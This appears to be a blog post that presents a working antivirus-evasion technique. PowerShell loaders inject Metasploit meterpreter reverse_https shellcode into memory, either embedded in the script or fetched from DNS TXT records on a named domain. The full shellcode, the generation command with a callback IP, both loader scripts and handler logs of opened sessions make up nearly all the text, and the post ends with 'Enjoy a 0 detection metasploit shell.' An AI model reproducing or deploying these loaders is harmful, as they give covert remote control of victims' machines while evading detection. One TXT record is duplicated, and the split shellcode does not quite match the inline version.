1: "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" 2: "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" 3: "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2" 4: "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85" 5: "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3" 6: "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d" 7: "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58" 8: "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b" 9: "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" 10: "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68" 11: "\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57" 12: "\x57\x57\x57\x6a\x00\x54\x68\x3a\x56\x79\xa7\xff\xd5\xeb\x5f" 13: "\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xfb\x20\x00\x00\x53" 14: "\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x48\x59\x31\xd2\x52\x68" 15: "\x00\x32\xa0\x84\x52\x52\x52\x51\x52\x50\x68\xeb\x55\x2e\x3b" 16: "\xff\xd5\x89\xc6\x6a\x10\x5b\x68\x80\x33\x00\x00\x89\xe0\x6a" 17: "\x04\x50\x6a\x1f\x56\x68\x75\x46\x9e\x86\xff\xd5\x31\xff\x57" 18: "\x57\x57\x57\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x75\x1a" 19: "\x4b\x74\x10\xeb\xd5\xeb\x49\xe8\xb3\xff\xff\xff\x2f\x48\x65" 20: "\x41\x6e\x00\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00" 21: "\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff" 22: "\xd5\x93\x53\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68" 23: "\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xcd\x8b\x07\x01\xc3\x85" 24: "\xc0\x75\xe5\x58\xc3\xe8\x51\xff\xff\xff\x31\x37\x38\x2e\x33" 25: "\x32\x2e\x37\x32\x2e\x31\x39\x34\x00"converting the shellcode directly to our format:
1: root@host:~/trunk# ./msfpayload windows/meterpreter/reverse_https LHOST=178.32.72.194 LPORT=8443 C | sed -n -e '11,35p' | sed 's/[";]//g' | sed 's/\\/,0/g' | tr -d '\n' 2: ,0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xff,0x57,0x57,0x57,0x57,0x6a,0x00,0x54,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0xeb,0x5f,0x5b,0x31,0xc9,0x51,0x51,0x6a,0x03,0x51,0x51,0x68,0xfb,0x20,0x00,0x00,0x53,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0xeb,0x48,0x59,0x31,0xd2,0x52,0x68,0x00,0x32,0xa0,0x84,0x52,0x52,0x52,0x51,0x52,0x50,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x89,0xc6,0x6a,0x10,0x5b,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x31,0xff,0x57,0x57,0x57,0x57,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1a,0x4b,0x74,0x10,0xeb,0xd5,0xeb,0x49,0xe8,0xb3,0xff,0xff,0xff,0x2f,0x5a,0x62,0x69,0x37,0x00,0x00,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x57,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcd,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0xe8,0x51,0xff,0xff,0xff,0x31,0x37,0x38,0x2e,0x33,0x32,0x2e,0x37,0x32,0x2e,0x31,0x39,0x34,0x00and our powershell script:
1: <#
2: Powershell meterpreter 3: This script will load in memory the first stage of metasploit meterpreter. 4: The second stage will be transferred and executed in memory with 0 detection from the antivirus engines. 5: Author: Nicolas Krassas 6: Initial idea from: Matthew Graeber7: #>
8: 9: # Import required functions 10: $code = @" 11: [DllImport("kernel32.dll")] 12: public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); 13: [DllImport("kernel32.dll")] 14: public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); 15: [DllImport("msvcrt.dll")] 16: public static extern IntPtr memset(IntPtr dest, uint src, uint count); 17: "@ 18: 19: $winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru 20: 21: # msf meterpreter stage 1 22: [Byte[]]$sc = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xff,0x57,0x57,0x57,0x57,0x6a,0x00,0x54,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0xeb,0x5f,0x5b,0x31,0xc9,0x51,0x51,0x6a,0x03,0x51,0x51,0x68,0xfb,0x20,0x00,0x00,0x53,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0xeb,0x48,0x59,0x31,0xd2,0x52,0x68,0x00,0x32,0xa0,0x84,0x52,0x52,0x52,0x51,0x52,0x50,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x89,0xc6,0x6a,0x10,0x5b,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x31,0xff,0x57,0x57,0x57,0x57,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1a,0x4b,0x74,0x10,0xeb,0xd5,0xeb,0x49,0xe8,0xb3,0xff,0xff,0xff,0x2f,0x63,0x51,0x62,0x46,0x00,0x00,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x57,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcd,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0xe8,0x51,0xff,0xff,0xff,0x31,0x37,0x38,0x2e,0x33,0x32,0x2e,0x37,0x32,0x2e,0x31,0x39,0x34,0x00 23: 24: # Calculate correct size param for VirtualAlloc 25: $size = 0x1000 26: if ($sc.Length -gt 0x1000) {$size = $sc.Length} 27: 28: # Allocate memory 29: $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40) 30: 31: 32: for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)} 33: Try { 34: $winFunc::CreateThread(0,0,$x,0,0,0) 35: sleep 100000 36: } 37: Catch 38: { 39: [system.exception] 40: "caught a system exception" 41: }set the metasploit server to handle requests for the payload:
1: root@host:~/trunk# ./msfconsole 2: 3: # cowsay++ 4: ____________5: < metasploit >
6: ------------ 7: \ ,__, 8: \ (oo)____ 9: (__) )\ 10: ||--|| * 11: 12: 13: =[ metasploit v4.3.0-dev [core:4.3 api:1.0] 14: + -- --=[ 821 exploits - 467 auxiliary - 141 post 15: + -- --=[ 250 payloads - 27 encoders - 8 nops 16: =[ svn r15071 updated 6 days ago (2012.04.05) 17: 18: msf exploit(handler) > set payload windows/meterpreter/reverse_https
19: payload => windows/meterpreter/reverse_https
20: msf exploit(handler) > set lport 8443
21: lport => 8443
22: msf exploit(handler) > exploit
23: 24: [*] Started HTTPS reverse handler on https://178.32.xxx.xxx:8443/ 25: [*] Starting the payload handler... 26: [*] 94.68.xxx.xxx:20718 Request received for /cQbF... 27: [*] 94.68.xxx.xxx:20718 Staging connection for target /cQbF received... 28: [*] Patched transport at offset 486516... 29: [*] Patched URL at offset 486248... 30: [*] Patched Expiration Timeout at offset 641856... 31: [*] Patched Communication Timeout at offset 641860...32: [*] Meterpreter session 1 opened (178.32.xxx.xxx:8443 -> 94.68.xxx.xxx:20718) at Wed Apr 11 09:44:08 +0300 2012
33: 34: meterpreter > ps
35: 36: Process list 37: ============ 38: 39: PID Name Arch Session User Path 40: --- ---- ---- ------- ---- ---- 41: 0 [System Process] 42: 4 System 43: 276 smss.exe 44: 288 dwm.exe x86 1 Ghost\Dinos C:\Windows\system32\Dwm.exe 45: 364 csrss.exe 46: 380 explorer.exe x86 1 Ghost\Dinos C:\Windows\Explorer.EXE 47: 432 csrss.exe 48: 440 wininit.exe 49: 492 winlogon.exe 50: 540 services.exe 51: 548 lsass.exe 52: 560 lsm.exe 53: 656 svchost.exe 54: 720 nvvsvc.exe 55: 760 svchost.exe 56: 844 MsMpEng.exe 57: 924 svchost.exe 58: 964 svchost.exe 59: 1000 svchost.exe 60: 1152 svchost.exe 61: 1196 conhost.exe x86 1 Ghost\Dinos C:\Windows\system32\conhost.exe 62: 1284 plugin-container.exe x86 1 Ghost\Dinos C:\Program Files\Mozilla Firefox\plugin-container.exe 63: 1312 NvXDSync.exe 64: 1324 nvvsvc.exe 65: 1364 SecureCRT.exe x86 1 Ghost\Dinos C:\Program Files\VanDyke Software\SecureCRT\SecureCRT.exe 66: 1448 chrome.exe x86 1 Ghost\Dinos C:\Users\Dinos\AppData\Local\Google\Chrome\Application\chrome.exe 67: 1492 SR_Watchdog.exe 68: 1528 SearchIndexer.exe 69: 1560 svchost.exe 70: 1776 spoolsv.exe 71: 1888 svchost.exe 72: 1964 taskhost.exe x86 1 Ghost\Dinos C:\Windows\system32\taskhost.exe 73: 2032 WVSScheduler.exe 74: 2172 armsvc.exe 75: 2196 AppleMobileDeviceService.exe 76: 2272 mDNSResponder.exe 77: 2304 svchost.exe 78: 2364 hamachi-2.exe 79: 2400 vmware-tray.exe x86 1 Ghost\Dinos C:\Program Files\VMware\VMware Workstation\vmware-tray.exe 80: 2420 svchost.exe 81: 2444 msseces.exe x86 1 Ghost\Dinos C:\Program Files\Microsoft Security Client\msseces.exe 82: 2460 IMEDICTUPDATE.EXE 83: <snip>
84: meterpreter >
And we have our poor initial shell, upgraded with cool meterpreter features, whilst our antivirus is still operational and not aware of the situation.
Method 2 do it in style.
Few weeks back I saw an excellent method from corelanc0d3r ( https://github.com/rapid7/metasploit-framework/pull/173 ) using TXT DNS records for payload delivery. This gave me an idea to create the same method with powershell, using raw C format also in the TXT records. With the same payload, stage 1 as above I created the following records:
1: a.deventum.com. IN TXT "0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52" 2: b.deventum.com. IN TXT ",0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b" 3: c.deventum.com. IN TXT ",0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68" 4: d.deventum.com. IN TXT ",0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xff,0x57,0x57,0x57,0x57,0x6a,0x00,0x54,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0xeb,0x5f,0x5b,0x31,0xc9,0x51,0x51,0x6a,0x03,0x51,0x51,0x68,0xfb,0x20,0x00,0x00,0x53,0x50,0x68,0x57,0x89,0x9f" 5: e.deventum.com. IN TXT ",0xc6,0xff,0xd5,0xeb,0x48,0x59,0x31,0xd2,0x52,0x68,0x00,0x32,0xa0,0x84,0x52,0x52,0x52,0x51,0x52,0x50,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x89,0xc6,0x6a,0x10,0x5b,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86" 6: e.deventum.com. IN TXT ",0xc6,0xff,0xd5,0xeb,0x48,0x59,0x31,0xd2,0x52,0x68,0x00,0x32,0xa0,0x84,0x52,0x52,0x52,0x51,0x52,0x50,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x89,0xc6,0x6a,0x10,0x5b,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86" 7: f.deventum.com. IN TXT ",0xff,0xd5,0x31,0xff,0x57,0x57,0x57,0x57,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1a,0x4b,0x74,0x10,0xeb,0xd5,0xeb,0x49,0xe8,0xb3,0xff,0xff,0xff,0x2f,0x5a,0x62,0x69,0x37,0x00,0x00,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x40,0x68,0x00" 8: g.deventum.com. IN TXT ",0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x57,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcd,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3" 9: h.deventum.com. IN TXT ",0xe8,0x51,0xff,0xff,0xff,0x31,0x37,0x38,0x2e,0x33,0x32,0x2e,0x37,0x32,0x2e,0x31,0x39,0x34,0x00"and finally the powershell script to call the records:
1: <#
2: Powershell for DNS based meterpreter payload 3: This script will load in memory the first stage of metasploit meterpreter that exists in txt record . 4: The second stage will be transferred and executed in memory with 0 detection from the antivirus engines. 5: Author: Nicolas Krassas 6: Inspired by corelanc0d3r dns based shellcode and Matthew Graeber7: #>
8: 9: # Functions for creating a thread 10: $code = @" 11: [DllImport("kernel32.dll")] 12: public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); 13: [DllImport("kernel32.dll")] 14: public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); 15: [DllImport("msvcrt.dll")] 16: public static extern IntPtr memset(IntPtr dest, uint src, uint count); 17: "@ 18: 19: function Convert-HexStringToByteArray { 20: ################################################################ 21: #.Synopsis 22: # Convert a string of hex data into a System.Byte[] array. An 23: # array is always returned, even if it contains only one byte. 24: #.Parameter String 25: # A string containing hex data in any of a variety of formats, 26: # including strings like the following, with or without extra 27: # tabs, spaces, quotes or other non-hex characters: 28: # 0x41,0x42,0x43,0x44 29: # \x41\x42\x43\x44 30: # 41-42-43-44 31: # 41424344 32: # The string can be piped into the function too. 33: # http://www.sans.org/windows-security/2010/02/11/powershell-byte-array-hex-convert 34: ################################################################ 35: [CmdletBinding()] 36: Param ( [Parameter(Mandatory = $True, ValueFromPipeline = $True)] [String] $String ) 37: 38: #Clean out whitespaces and any other non-hex crud. 39: $String = $String.ToLower() -replace '[^a-f0-9\\\,x\-\:]','' 40: 41: 42: #Try to put into canonical colon-delimited format. 43: $String = $String -replace '0x|\\x|\-|,',':' 44: 45: 46: #Remove beginning and ending colons, and other detritus. 47: $String = $String -replace '^:+|:+$|x|\\','' 48: 49: 50: #Maybe there's nothing left over to convert... 51: if ($String.Length -eq 0) { ,@() ; return } 52: 53: 54: #Split string with or without colon delimiters. 55: if ($String.Length -eq 1) 56: { ,@([System.Convert]::ToByte($String,16)) } 57: elseif (($String.Length % 2 -eq 0) -and ($String.IndexOf(":") -eq -1)) 58: { ,@($String -split '([a-f0-9]{2})' | foreach-object { if ($_) {[System.Convert]::ToByte($_,16)}}) } 59: elseif ($String.IndexOf(":") -ne -1) 60: { ,@($String -split ':+' | foreach-object {[System.Convert]::ToByte($_,16)}) } 61: else 62: { ,@() } 63: #The strange ",@(...)" syntax is needed to force the output into an 64: #array even if there is only one element in the output (or none). 65: } 66: 67: function GetShellCode($hostname) 68: {69: $result = iex "cmd.exe /c `"nslookup -querytype=txt -timeout=5 $hostname 2> NUL`""
70: $shellarray = "" 71: foreach ($line in $result) 72: { 73: $line=$line.trim() 74: if ($line.contains("`"")) 75: {$shellarray = $line.split("`"")[1].trim()} 76: } 77: "$shellarray" 78: } 79: "Got the shellcode from txt records" 80: # My txt records you better not use them, or you may see me in your system :) 81: 82: $shellpart1 = GetShellCode "a.deventum.com" 83: $shellpart2 = GetShellCode "b.deventum.com" 84: $shellpart3 = GetShellCode "c.deventum.com" 85: $shellpart4 = GetShellCode "d.deventum.com" 86: $shellpart5 = GetShellCode "e.deventum.com" 87: $shellpart6 = GetShellCode "f.deventum.com" 88: $shellpart7 = GetShellCode "g.deventum.com" 89: $shellpart8 = GetShellCode "h.deventum.com" 90: 91: $myshell = " $shellpart1$shellpart2$shellpart3$shellpart4$shellpart5$shellpart6$shellpart7$shellpart8 " 92: 93: # Thread control 94: $winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru 95: 96: # msf meterpreter stage 1, this one must be converted to proper byte array first. 97: [Byte[]]$sc = Convert-HexStringToByteArray($myshell) 98: 99: # Calculate correct size param for VirtualAlloc 100: $size = 0x1000 101: if ($sc.Length -gt 0x1000) {$size = $sc.Length} 102: 103: # Allocate memory 104: $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40) 105: 106: # build it in memory 107: for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)} 108: Try { 109: $winFunc::CreateThread(0,0,$x,0,0,0) 110: sleep 100000 111: } 112: Catch 113: { 114: [system.exception] 115: "caught a system exception" 116: }Make sure the metasploit server is running with multi/handler and call the script from within powershell with: & .\Desktop\powershellcode1.ps1 .
Enjoy a 0 detection metasploit shell.
[*] Started HTTPS reverse handler on https://178.32.xxx.xxx:8443/
[*] Exploit running as background job.
[*] Starting the payload handler...
[*] 94.68.xxx.xxx:27789 Request received for /Zbi7...
[*] 94.68.xxx.xxx:27789 Staging connection for target /Zbi7 received...
[*] Patched transport at offset 486516...
[*] Patched URL at offset 486248...
[*] Patched Expiration Timeout at offset 641856...
[*] Patched Communication Timeout at offset 641860...
[*] Meterpreter session 4 opened (178.32.xxx.xxx:8443 -> 94.68.xxx.xxx:27789) at Wed Apr 11 13:16:17 +0300 2012
msf exploit(handler) >